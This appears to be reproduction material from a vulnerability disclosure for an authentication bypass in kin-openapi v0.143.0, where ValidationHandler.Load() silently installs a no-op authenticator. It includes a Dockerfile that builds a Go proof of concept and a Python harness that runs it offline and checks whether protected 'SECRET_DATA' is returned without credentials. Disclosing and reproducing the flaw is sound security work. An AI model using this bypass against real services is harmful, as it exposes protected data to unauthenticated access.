Details
The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.
Reproduction artifacts
Dockerfile
FROM golang:1.25-alpine
# Install git (needed by go mod for some packages)
RUN apk add --no-cache git
WORKDIR /workspace
# Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/
# Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc
# Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc
go 1.25
require github.com/getkin/kin-openapi v0.143.0
replace github.com/getkin/kin-openapi => /kin-openapi
EOF
# Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go
# Resolve dependencies and build
RUN go mod tidy && \
go build -o /poc-binary .
# Run the PoC
CMD ["/poc-binary"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)
Vulnerability Summary:
ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
passes without validation when the user forgets to set AuthenticationFunc.
Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
(fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).
Usage:
python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""
import argparse
import os
import subprocess
import sys
import json
IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")
SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'
def run(cmd, **kwargs):
"""Run a shell command and return (returncode, stdout, stderr)."""
print(f"[CMD] {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
if result.stdout:
print(result.stdout, end="")
if result.stderr:
print(result.stderr, end="", file=sys.stderr)
return result.returncode, result.stdout, result.stderr
def build_image(build_dir):
"""Build the Docker image containing the PoC binary."""
print("\n[*] Building Docker image ...")
rc, stdout, stderr = run([
"docker", "build",
"--build-arg", f"REPO_DIR={REPO_DIR}",
"-t", IMAGE_NAME,
"-f", os.path.join(build_dir, "Dockerfile"),
# Build context is the reports root so both Dockerfile and repo/ are reachable
os.path.dirname(build_dir),
])
if rc != 0:
print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
sys.exit(rc)
print("[*] Docker build succeeded.")
return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"
def run_container():
"""Run the container and capture output."""
print("\n[*] Running PoC container ...")
rc, stdout, stderr = run([
"docker", "run", "--rm",
"--network", "none", # no network access needed
IMAGE_NAME,
])
combined = stdout + stderr
return rc, combined
def evaluate(exit_code, output):
"""Determine whether the exploit was confirmed."""
passed = (
exit_code == 0
and SUCCESS_MARKER in output
and EXPECTED_STATUS in output
and EXPECTED_BODY in output
)
return passed
def cleanup_image():
"""Remove the Docker image."""
print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
run(["docker", "rmi", "-f", IMAGE_NAME])
def main():
global IMAGE_NAME
parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
parser.add_argument("--build-dir", default=SCRIPT_DIR,
help="Directory containing Dockerfile and main.go")
parser.add_argument("--image", default=IMAGE_NAME,
help="Docker image name to build/run")
parser.add_argument("--no-cleanup", action="store_true",
help="Keep the Docker image after the run")
args = parser.parse_args()
IMAGE_NAME = args.image
print("=" * 60)
print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
print("=" * 60)
print(f" Build dir : {args.build_dir}")
print(f" Repo dir : {REPO_DIR}")
print(f" Image : {IMAGE_NAME}")
build_cmd = build_image(args.build_dir)
run_cmd = f"docker run --rm --network none {IMAGE_NAME}"
exit_code, output = run_container()
if not args.no_cleanup:
cleanup_image()
passed = evaluate(exit_code, output)
print("\n" + "=" * 60)
if passed:
print("[RESULT] PASS — Auth bypass CONFIRMED")
print(" The protected handler returned SECRET_DATA without credentials.")
print(" ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
else:
print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")
print(f"\nContainer exit code : {exit_code}")
print(f"Success marker found: {SUCCESS_MARKER in output}")
print(f"Status 200 found : {EXPECTED_STATUS in output}")
print(f"Secret body found : {EXPECTED_BODY in output}")
# Exit with code that signals pass/fail
sys.exit(0 if passed else 1)
if __name__ == "__main__":
main()